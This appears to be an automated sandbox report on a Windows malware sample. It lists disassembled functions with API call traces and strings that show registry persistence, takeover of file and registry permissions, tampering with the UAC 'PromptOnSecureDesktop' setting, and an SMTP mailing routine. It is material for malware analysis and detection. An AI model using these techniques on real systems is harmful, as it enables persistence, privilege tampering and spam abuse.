Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 5dd47ddf5ee9797b686c283b66344bcc52891e7661172e1b4ff876746549ab72
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 093116B6910609DFEB10CF99C880AAEBBF9FF48328F15414AD941B7250D771EA45CBA4

Function 004088B0 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b87d996b03424d41ecd054f3042c71836826564e4b1ffe17874333ad5a991b34
Instruction ID: 64893a5cec851924fefc00027ac9d8258265f32e823952a4835c6918c3f2ac29
Opcode Fuzzy Hash: b87d996b03424d41ecd054f3042c71836826564e4b1ffe17874333ad5a991b34
Instruction Fuzzy Hash: 59714BB4501B41CFD360CF66D548782BBE0BB54308F10CD6ED5AAAB790DBB86588DF98

Function 0264D01E Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2079068400.000000000263D000.00000040.00000020.00020000.00000000.sdmp, Offset: 0263D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_263d000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 1add39999d3260e4e92bf0df4f5d9d3f96d25e2f81e53ecbfa6114bf1fe07a7f
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 931182727401009FDB54DF55DCC0FA673EAEB89660B198055ED08CB311EA75E842C760

Function 040C0D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 3797127e5c4377b4a6cbe51d4907fe2467ac25082df8d4391fe916b43a912c09
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 1E01A776600604CFDF21CFA4C844BAE33EAEB86215F4544A9E506A7241E774B941CB90

Function 040C9EA0 Relevance: 59.9, APIs: 28, Strings: 6, Instructions: 421stringregistryfileCOMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 040C9E6D
lstrcpy.KERNEL32(?,00000000), ref: 040C9FE1
lstrcat.KERNEL32(?,?), ref: 040C9FF2
lstrcat.KERNEL32(?,0041070C), ref: 040CA004
GetFileAttributesExA.KERNEL32(?,?,?), ref: 040CA054
DeleteFileA.KERNEL32(?), ref: 040CA09F
GetEnvironmentVariableA.KERNEL32(00000000,?,?,?,?,000001F4), ref: 040CA0D6
lstrcpy.KERNEL32 ref: 040CA12F
lstrlen.KERNEL32(00000022), ref: 040CA13C
GetTempPathA.KERNEL32(000001F4,?), ref: 040C9F13

Part of subcall function 040C7029: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00412F0C,00000000,00000000,00000000,00000000), ref: 040C7081

Part of subcall function 040C6F30: GetModuleHandleA.KERNEL32(00410380,00410670,00000000,\\.\pipe\rwmckfcj,040C7043), ref: 040C6F4E
Part of subcall function 040C6F30: GetProcAddress.KERNEL32(00000000), ref: 040C6F55
Part of subcall function 040C6F30: GetSystemDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104), ref: 040C6F7B
Part of subcall function 040C6F30: GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 040C6F92

RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,?,00000103,?,?,?,?), ref: 040CA1A2
RegSetValueExA.ADVAPI32(?,00000001,?,00000001,?,000001F5,?,?,?,00000103,?,?,?,?), ref: 040CA1C5
GetModuleHandleA.KERNEL32(?,?,00000104,?,?,00000010,?,?,00000044,?,?,?,?,?,?,00000103), ref: 040CA214
GetModuleFileNameA.KERNEL32(00000000,?,?,00000104,?,?,00000010,?,?,00000044), ref: 040CA21B
GetDriveTypeA.KERNEL32(?), ref: 040CA265
lstrcat.KERNEL32(?,00000000), ref: 040CA29F
lstrcat.KERNEL32(?,00410A34), ref: 040CA2C5
lstrcat.KERNEL32(?,00000022), ref: 040CA2D9
lstrcat.KERNEL32(?,00410A34), ref: 040CA2F4
wsprintfA.USER32 ref: 040CA31D
lstrcat.KERNEL32(?,00000000), ref: 040CA345
lstrcat.KERNEL32(?,?), ref: 040CA364
CreateProcessA.KERNEL32(?,?,?,?,?,08000000,?,?,?,?,?,?,00000104,?,?,00000010), ref: 040CA387
DeleteFileA.KERNEL32(?,?,?,?,?,?,08000000,?,?,?,?,?,?,00000104,?), ref: 040CA398
RegCloseKey.ADVAPI32(?,?,00000001,?,000001F5,?,?,?,00000103,?,?,?,?), ref: 040CA1D1

Part of subcall function 040C9966: RegOpenKeyExA.ADVAPI32(80000001,00000000), ref: 040C999D
Part of subcall function 040C9966: RegDeleteValueA.ADVAPI32(?,00000000), ref: 040C99BD
Part of subcall function 040C9966: RegCloseKey.ADVAPI32(?), ref: 040C99C6

GetModuleHandleA.KERNEL32(?,?,0000012C), ref: 040CA3DB
GetModuleFileNameA.KERNEL32(00000000,?,?,0000012C), ref: 040CA3E2
GetDriveTypeA.KERNEL32(00000022), ref: 040CA41D

Strings

", xrefs: 040CA2DF
P, xrefs: 040CA011
\, xrefs: 040C9F73
D, xrefs: 040CA1F5
", xrefs: 040CA3F0
", xrefs: 040CA142

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: lstrcat$FileModule$DeleteHandle$CloseDirectoryDriveNameOpenProcessTypeValuelstrcpy$AddressAttributesCreateEnvironmentExitInformationPathProcSystemTempVariableVolumeWindowslstrlenwsprintf
String ID: "$"$"$D$P$\
API String ID: 1653845638-2605685093
Opcode ID: 2004a96a3fb695a35ebb74482f6fad10186942e4c1f31b0e0affa7522a4f957f
Instruction ID: 4ca0467ca66a0a16cb710abff3c288f3698d13cc3aa9e7775fb9a259e40364fe
Opcode Fuzzy Hash: 2004a96a3fb695a35ebb74482f6fad10186942e4c1f31b0e0affa7522a4f957f
Instruction Fuzzy Hash: 03F12DB1D4025DEFDB21DBA09C48FEF7BBCAB08304F1444AAE605F2141E775AA858F65

Function 00407A95 Relevance: 45.8, APIs: 24, Strings: 2, Instructions: 269registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(000000E4,00000022,00000000,000E0100,00000000,00000000), ref: 00407ABA
GetUserNameA.ADVAPI32(?,?), ref: 00407ADF
LookupAccountNameA.ADVAPI32(00000000,?,?,0041070C,?,004133B0,?), ref: 00407B16
RegGetKeySecurity.ADVAPI32(00000000,00000005,?,?), ref: 00407B3B
GetSecurityDescriptorOwner.ADVAPI32(?,00000022,80000002), ref: 00407B59
EqualSid.ADVAPI32(?,00000022), ref: 00407B6A
LocalAlloc.KERNEL32(00000040,00000014), ref: 00407B7E
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00407B8C
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 00407B9C
RegSetKeySecurity.ADVAPI32(00000000,00000001,00000000), ref: 00407BAB
LocalFree.KERNEL32(00000000), ref: 00407BB2
GetSecurityDescriptorDacl.ADVAPI32(?,00407FC9,?,00000000), ref: 00407BCE

Strings

PromptOnSecureDesktop, xrefs: 00407D39
D, xrefs: 00407B0C

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$LocalNameOwner$AccountAllocDaclEqualFreeInitializeLookupOpenUser
String ID: D$PromptOnSecureDesktop
API String ID: 2976863881-1403908072
Opcode ID: d4f479c9f78d504b8da3df740f472ce51a34dde969fc05e485fb9939b8f25359
Instruction ID: e17c9e5f60e255820364911aa1186e0accab4a2e7248257c6285c946b731c67d
Opcode Fuzzy Hash: d4f479c9f78d504b8da3df740f472ce51a34dde969fc05e485fb9939b8f25359
Instruction Fuzzy Hash: 6FA14D71D04219ABDB119FA0DD44EEF7B78FF48304F04807AE505F2290D779AA85CB69

Function 040C7CFC Relevance: 45.8, APIs: 24, Strings: 2, Instructions: 269registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,000E0100,?), ref: 040C7D21
GetUserNameA.ADVAPI32(?,?), ref: 040C7D46
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 040C7D7D
RegGetKeySecurity.ADVAPI32(?,00000005,?,?), ref: 040C7DA2
GetSecurityDescriptorOwner.ADVAPI32(?,?,?), ref: 040C7DC0
EqualSid.ADVAPI32(?,?), ref: 040C7DD1
LocalAlloc.KERNEL32(00000040,00000014), ref: 040C7DE5
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 040C7DF3
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 040C7E03
RegSetKeySecurity.ADVAPI32(?,00000001,00000000), ref: 040C7E12
LocalFree.KERNEL32(00000000), ref: 040C7E19
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 040C7E35

Strings

PromptOnSecureDesktop, xrefs: 040C7FA0
D, xrefs: 040C7D73

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$LocalNameOwner$AccountAllocDaclEqualFreeInitializeLookupOpenUser
String ID: D$PromptOnSecureDesktop
API String ID: 2976863881-1403908072
Opcode ID: 1a53823342927d1e4650e54f1beed8d9b04cc787a6d03e02cd47dd5285ddf864
Instruction ID: e77cb99d288bcf3c5bdb3b72021bf9ea657e2d666f2c46ce7720e8de7be2aa40
Opcode Fuzzy Hash: 1a53823342927d1e4650e54f1beed8d9b04cc787a6d03e02cd47dd5285ddf864
Instruction Fuzzy Hash: E1A16C7290021AEFDB619FA0DC88FEEBBB9FB08301F14806AE505F3150D7759A85CB64

Function 00406511 Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 182COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040654D
IsBadReadPtr.KERNEL32(?,00000008), ref: 0040655C
htonl.WS2_32(?), ref: 00406578
htonl.WS2_32(?), ref: 00406587
wsprintfA.USER32 ref: 0040659B
wsprintfA.USER32 ref: 004065DC
wsprintfA.USER32 ref: 00406671
GetCurrentProcess.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000), ref: 0040668A
StackWalk64.DBGHELP(0000014C,00000000), ref: 00406696
wsprintfA.USER32 ref: 004066B0
wsprintfA.USER32 ref: 004066E7
wsprintfA.USER32 ref: 004066FF
wsprintfA.USER32 ref: 0040671F
ExitProcess.KERNEL32 ref: 00406755

Strings

va=%08X%08X uef=%p, xrefs: 00406595
ver=%d date=%s %sc=%08x a=%p, xrefs: 00406547
_ax=%p_bx=%p_cx=%p_dx=%p_si=%p_di=%p_bp=%p_sp=%p, xrefs: 004065D6
%d=%p, xrefs: 004066F9
plgs:, xrefs: 004066AA
localcfg, xrefs: 0040672D
ret=%pp1=%pp2=%pp3=%pp4=%p, xrefs: 0040666B
except_info, xrefs: 00406728
12:08:32, xrefs: 00406535
Jan 13 2018, xrefs: 0040653A

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: wsprintf$Processhtonl$CurrentExitReadStackWalk64
String ID: %d=%p$_ax=%p_bx=%p_cx=%p_dx=%p_si=%p_di=%p_bp=%p_sp=%p$ver=%d date=%s %sc=%08x a=%p$ va=%08X%08X uef=%p$12:08:32$Jan 13 2018$except_info$localcfg$plgs:$ret=%pp1=%pp2=%pp3=%pp4=%p
API String ID: 2400214276-165278494
Opcode ID: b90de3a98ed26af7195d6c430e21dd073139462529909c443086ffd26068662a
Instruction ID: e6dd37f2d7c7e48b8b359c94d8b0a85da35b73f81cc1d7405eac3f4e783bc3bd
Opcode Fuzzy Hash: b90de3a98ed26af7195d6c430e21dd073139462529909c443086ffd26068662a
Instruction Fuzzy Hash: 26615F72940208EFDB609FB4DC45FEA77E9FF08300F24846AF95DD2161DA7599908F58

Function 0040A7C1 Relevance: 38.8, APIs: 8, Strings: 14, Instructions: 299networkstringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040A7FB
lstrlenA.KERNEL32(?,00000000,00000000,00000001), ref: 0040A87E
send.WS2_32(00000000,?,00000000,00000000), ref: 0040A893
wsprintfA.USER32 ref: 0040A8AF
send.WS2_32(00000000,.,00000005,00000000), ref: 0040A8D2
wsprintfA.USER32 ref: 0040A8E2
recv.WS2_32(00000000,?,000003F6,00000000), ref: 0040A97C
wsprintfA.USER32 ref: 0040A9B9

Strings

Incorrect respons, xrefs: 0040AB39
quit, xrefs: 0040A86C
rcpt to:<%s>, xrefs: 0040A855
AUTH LOGIN, xrefs: 0040A80C
data, xrefs: 0040A85E
ESMTP, xrefs: 0040AA38
Too big smtp respons (%d bytes), xrefs: 0040A9B1
Too small respons, xrefs: 0040A9C9
localcfg, xrefs: 0040AB0B
ehlo %s, xrefs: 0040A7F5
mail from:<%s>, xrefs: 0040A848
helo %s, xrefs: 0040A803
., xrefs: 0040A8CA
Error sending command (sent = %d/%d), xrefs: 0040A8A7, 0040A8DA

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: wsprintf$send$lstrlenrecv
String ID: .$AUTH LOGIN$ESMTP$Error sending command (sent = %d/%d)$Incorrect respons$Too big smtp respons (%d bytes)$Too small respons$data$ehlo %s$helo %s$localcfg$mail from:<%s>$quit$rcpt to:<%s>
API String ID: 3650048968-2394369944
Opcode ID: ab93601b3fbd501b452cd95e20af3b55248dc9460a2857cfbe0e165fe481e7b1
Instruction ID: cb8b6fe7cbcb8804cc0a5996a8d7cccc3c4edaa2c523fe44b9a5a0cb3107b5a3
Opcode Fuzzy Hash: ab93601b3fbd501b452cd95e20af3b55248dc9460a2857cfbe0e165fe481e7b1
Instruction Fuzzy Hash: 34A16872A44305AADF209A54DC85FEF3B79AB00304F244437FA05B61D0DA7D9DA98B5F

Function 040C7A70 Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 226memoryCOMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 040C7A96
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 040C7ACD
GetLengthSid.ADVAPI32(?), ref: 040C7ADF
GetFileSecurityA.ADVAPI32(?,00000005,?,00000400,?), ref: 040C7B01
GetSecurityDescriptorOwner.ADVAPI32(?,?,?), ref: 040C7B1F
EqualSid.ADVAPI32(?,?), ref: 040C7B39
LocalAlloc.KERNEL32(00000040,00000014), ref: 040C7B4A
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 040C7B58
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 040C7B68
SetFileSecurityA.ADVAPI32(?,00000001,00000000), ref: 040C7B77
LocalFree.KERNEL32(00000000), ref: 040C7B7E
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 040C7B9A
GetAce.ADVAPI32(?,?,?), ref: 040C7BCA
EqualSid.ADVAPI32(?,?), ref: 040C7BF1
DeleteAce.ADVAPI32(?,?), ref: 040C7C0A
EqualSid.ADVAPI32(?,?), ref: 040C7C2C
LocalAlloc.KERNEL32(00000040,00000014), ref: 040C7CB1
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 040C7CBF
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,?,00000000), ref: 040C7CD0
SetFileSecurityA.ADVAPI32(?,00000004,00000000), ref: 040C7CE0
LocalFree.KERNEL32(00000000), ref: 040C7CEE

Strings

D, xrefs: 040C7AC3

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$Local$EqualFile$AllocDaclFreeInitializeNameOwner$AccountDeleteLengthLookupUser
String ID: D
API String ID: 3722657555-2746444292
Opcode ID: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction ID: 1bec8cb39a75eacf651f3c56fa2495595566a8a117bf4f395ad7aba962dfe2a3
Opcode Fuzzy Hash: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction Fuzzy Hash: DD812A7190021AEBDB21CFA4DD84BEEBBB8AF08344F04816EE615F7150D775AA45CFA4

Function 00408328 Relevance: 35.4, APIs: 18, Strings: 2, Instructions: 361registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 004083F3
RegQueryValueExA.ADVAPI32(00410750,?,00000000,?,00408893,?,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 00408414
RegSetValueExA.ADVAPI32(00410750,?,00000000,00000004,00408893,00000004,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 00408441
RegCloseKey.ADVAPI32(00410750,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 0040844A

Strings

PromptOnSecureDesktop, xrefs: 0040834F, 004083DE, 00408456, 004084A1, 0040855E, 004085AB, 00408682, 0040869E
localcfg, xrefs: 00408348

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: Value$CloseOpenQuery
String ID: PromptOnSecureDesktop$localcfg
API String ID: 237177642-1678164370
Opcode ID: f0e8bc001febcaf3aa79265d78dfa7c2bcbced2000b5ff9bfcb5f44e60df388c
Instruction ID: 84ba07e5042139a9063b988de9b3f7486f2cd5d6c0453319c527b22e45c4d953
Opcode Fuzzy Hash: f0e8bc001febcaf3aa79265d78dfa7c2bcbced2000b5ff9bfcb5f44e60df388c
Instruction Fuzzy Hash: DAC1D2B1D00109BEEB11ABA0DE85EEF7BBCEB04304F14447FF544B2191EA794E948B69

Function 0040199C Relevance: 29.9, APIs: 11, Strings: 6, Instructions: 106memorylibraryloaderCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(123.45.67.89), ref: 004019B1
LoadLibraryA.KERNEL32(Iphlpapi.dll,?,?,?,?,00000001,00401E9E), ref: 004019BF
GetProcAddress.KERNEL32(00000000,GetAdaptersInfo), ref: 004019E2
GetProcAddress.KERNEL32(00000000,GetIfEntry), ref: 004019ED
GetProcAddress.KERNEL32(?,GetBestInterface), ref: 004019F9
GetProcessHeap.KERNEL32(?,?,?,?,00000001,00401E9E), ref: 00401A1D
HeapAlloc.KERNEL32(00000000,00000000,00000288,?,?,?,?,00000001,00401E9E), ref: 00401A36
HeapReAlloc.KERNEL32(?,00000000,00000000,00401E9E,?,?,?,?,00000001,00401E9E), ref: 00401A5A
HeapFree.KERNEL32(?,00000000,00000000,?,?,?,?,00000001,00401E9E), ref: 00401A9B
FreeLibrary.KERNEL32(?,?,?,?,?,00000001,00401E9E), ref: 00401AA4

Strings

123.45.67.89, xrefs: 004019A6
Iphlpapi.dll, xrefs: 004019B7
localcfg, xrefs: 004019A3
GetBestInterface, xrefs: 004019EF
GetAdaptersInfo, xrefs: 004019DC
GetIfEntry, xrefs: 004019E4

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: Heap$AddressProc$AllocFreeLibrary$LoadProcessinet_addr
String ID: 123.45.67.89$GetAdaptersInfo$GetBestInterface$GetIfEntry$Iphlpapi.dll$localcfg
API String ID: 835516345-270533642
Opcode ID: 52436911476c130446cd143f44c65522dc478156bb7ce270366fd521237d2269
Instruction ID: c689a3d9ae3379b0bfe51822f68a21815d588b76a9689f39126eb657c90dfffc
Opcode Fuzzy Hash: 52436911476c130446cd143f44c65522dc478156bb7ce270366fd521237d2269
Instruction Fuzzy Hash: 39313E32A01219AFCF119FE4DD888AFBBB9EB45311B24457BE501B2260D7B94E819F58

Function 040C858F Relevance: 28.4, APIs: 14, Strings: 2, Instructions: 361registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,?,?,00000000,00000103,?), ref: 040C865A
RegQueryValueExA.ADVAPI32(?,?,00000000,?,?,?,?,?,00000000,00000103,?), ref: 040C867B
RegSetValueExA.ADVAPI32(?,?,00000000,00000004,?,00000004,?,?,00000000,00000103,?), ref: 040C86A8
RegCloseKey.ADVAPI32(?,?,?,00000000,00000103,?), ref: 040C86B1

Strings

PromptOnSecureDesktop, xrefs: 040C85B6, 040C8645, 040C86BD, 040C8708, 040C87C5, 040C8812, 040C88E9, 040C8905
", xrefs: 040C896C

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: Value$CloseOpenQuery
String ID: "$PromptOnSecureDesktop
API String ID: 237177642-3108538426
Opcode ID: 1c60b81768065cc7cafd43d65e6870f876b06d8eccb24c6c2cb771a703b3980a
Instruction ID: 5edf6b9127c50c1aefba5d07d0d716b982fff13d91ff783a4a48730b02f01e1f
Opcode Fuzzy Hash: 1c60b81768065cc7cafd43d65e6870f876b06d8eccb24c6c2cb771a703b3980a
Instruction Fuzzy Hash: F3C1B472940109FEEB51AFA4DC84EEF7BBDEB04345F14846DF604F2050E7B0AA949B69

Function 040C14E7 Relevance: 23.2, APIs: 9, Strings: 4, Instructions: 417stringCOMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 040C1601
lstrlenW.KERNEL32(-00000003), ref: 040C17D8

Strings

<, xrefs: 040C15DF
D, xrefs: 040C182D
, xrefs: 040C16C9
@, xrefs: 040C15E7

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: ExecuteShelllstrlen
String ID: $<$@$D
API String ID: 1628651668-1974347203
Opcode ID: 03adf1138caabce6029c68f91071d7d17f6d9527f2eb0b017a6edce7519f1441
Instruction ID: c0d38d19ebe9a281034ebc3683ebd48231d09c827b44988c6f0a9b46bccd08ab
Opcode Fuzzy Hash: 03adf1138caabce6029c68f91071d7d17f6d9527f2eb0b017a6edce7519f1441
Instruction Fuzzy Hash: 71F16CB1508341DFD720DF64C888BAEB7E5FB89304F008A2DF596AB291D7B4A944CF56

Function 040C7666 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 345registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,00020119,?), ref: 040C76D9
RegOpenKeyExA.ADVAPI32(?,?,00000000,00000101,?), ref: 040C7757
RegQueryValueExA.ADVAPI32(?,00000000,?,00000000,?,?,00000104), ref: 040C778F
___ascii_stricmp.LIBCMT ref: 040C78B4
RegCloseKey.ADVAPI32(?), ref: 040C794E
RegEnumKeyA.ADVAPI32(?,00000000,?,00000104), ref: 040C796D
RegCloseKey.ADVAPI32(?), ref: 040C797E
RegCloseKey.ADVAPI32(?), ref: 040C79AC
RegCloseKey.ADVAPI32(?), ref: 040C7A56

Part of subcall function 040CF40C: lstrlen.KERNEL32(000000E4,00000000,PromptOnSecureDesktop,000000E4,040C772A,?), ref: 040CF414

GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 040C79F6
RegCloseKey.ADVAPI32(?), ref: 040C7A4D

Strings

PromptOnSecureDesktop, xrefs: 040C76C5, 040C76CA, 040C76E5, 040C7782, 040C77E6, 040C7862, 040C787B, 040C79C2
", xrefs: 040C7800

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: Close$Open$AttributesEnumFileQueryValue___ascii_stricmplstrlen
String ID: "$PromptOnSecureDesktop
API String ID: 3433985886-3108538426
Opcode ID: 6662dee372d798d6f1e3baf347185b0c176791543b489e25c2cc06528122fd8e
Instruction ID: 196957d942f24b1140393e3c055b9c8532bccb78121376a0d6df1fcc6bb3f0cb
Opcode Fuzzy Hash: 6662dee372d798d6f1e3baf347185b0c176791543b489e25c2cc06528122fd8e
Instruction Fuzzy Hash: D4C1A17290020AEFEB619FA4DC44FEE7BB9EF45714F1040A9E504F7190EB75AA848F61

Function 040C2CC9 Relevance: 21.2, APIs: 14, Instructions: 194memorynetworkCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 040C2CED
socket.WS2_32(00000002,00000002,00000011), ref: 040C2D07
htons.WS2_32(00000000), ref: 040C2D42
select.WS2_32 ref: 040C2D8F
recv.WS2_32(?,00000000,00001000,00000000), ref: 040C2DB1
GetProcessHeap.KERNEL32(00000000,00000108), ref: 040C2E62

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesshtonsrecvselectsocket
String ID:
API String ID: 127016686-0
Opcode ID: 34b12e3987a7911b0151bc10fc282e4d0fd91c502d2533c711cf9584e7c9b6b6
Instruction ID: 2f564d388bd5fe6cd5713e2a731d40208fb04ec1c32dd0e5550ea25b847ce911
Opcode Fuzzy Hash: 34b12e3987a7911b0151bc10fc282e4d0fd91c502d2533c711cf9584e7c9b6b6
Instruction Fuzzy Hash: 1461E471904309EBC320AF64DC08BAFBBE8FB44745F01489DF944B7591D7B5E8819BA6

Function 0040AD89 Relevance: 21.1, APIs: 5, Strings: 7, Instructions: 121timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 0040AD98
SystemTimeToFileTime.KERNEL32(?,?), ref: 0040ADA6

Part of subcall function 0040AD08: gethostname.WS2_32(?,00000080), ref: 0040AD1C
Part of subcall function 0040AD08: lstrlenA.KERNEL32(00000000), ref: 0040AD60
Part of subcall function 0040AD08: lstrlenA.KERNEL32(00000000), ref: 0040AD69
Part of subcall function 0040AD08: lstrcpyA.KERNEL32(00000000,LocalHost), ref: 0040AD7F

Part of subcall function 004030B5: gethostname.WS2_32(?,00000080), ref: 004030D8
Part of subcall function 004030B5: gethostbyname.WS2_32(?), ref: 004030E2

wsprintfA.USER32 ref: 0040AEA5

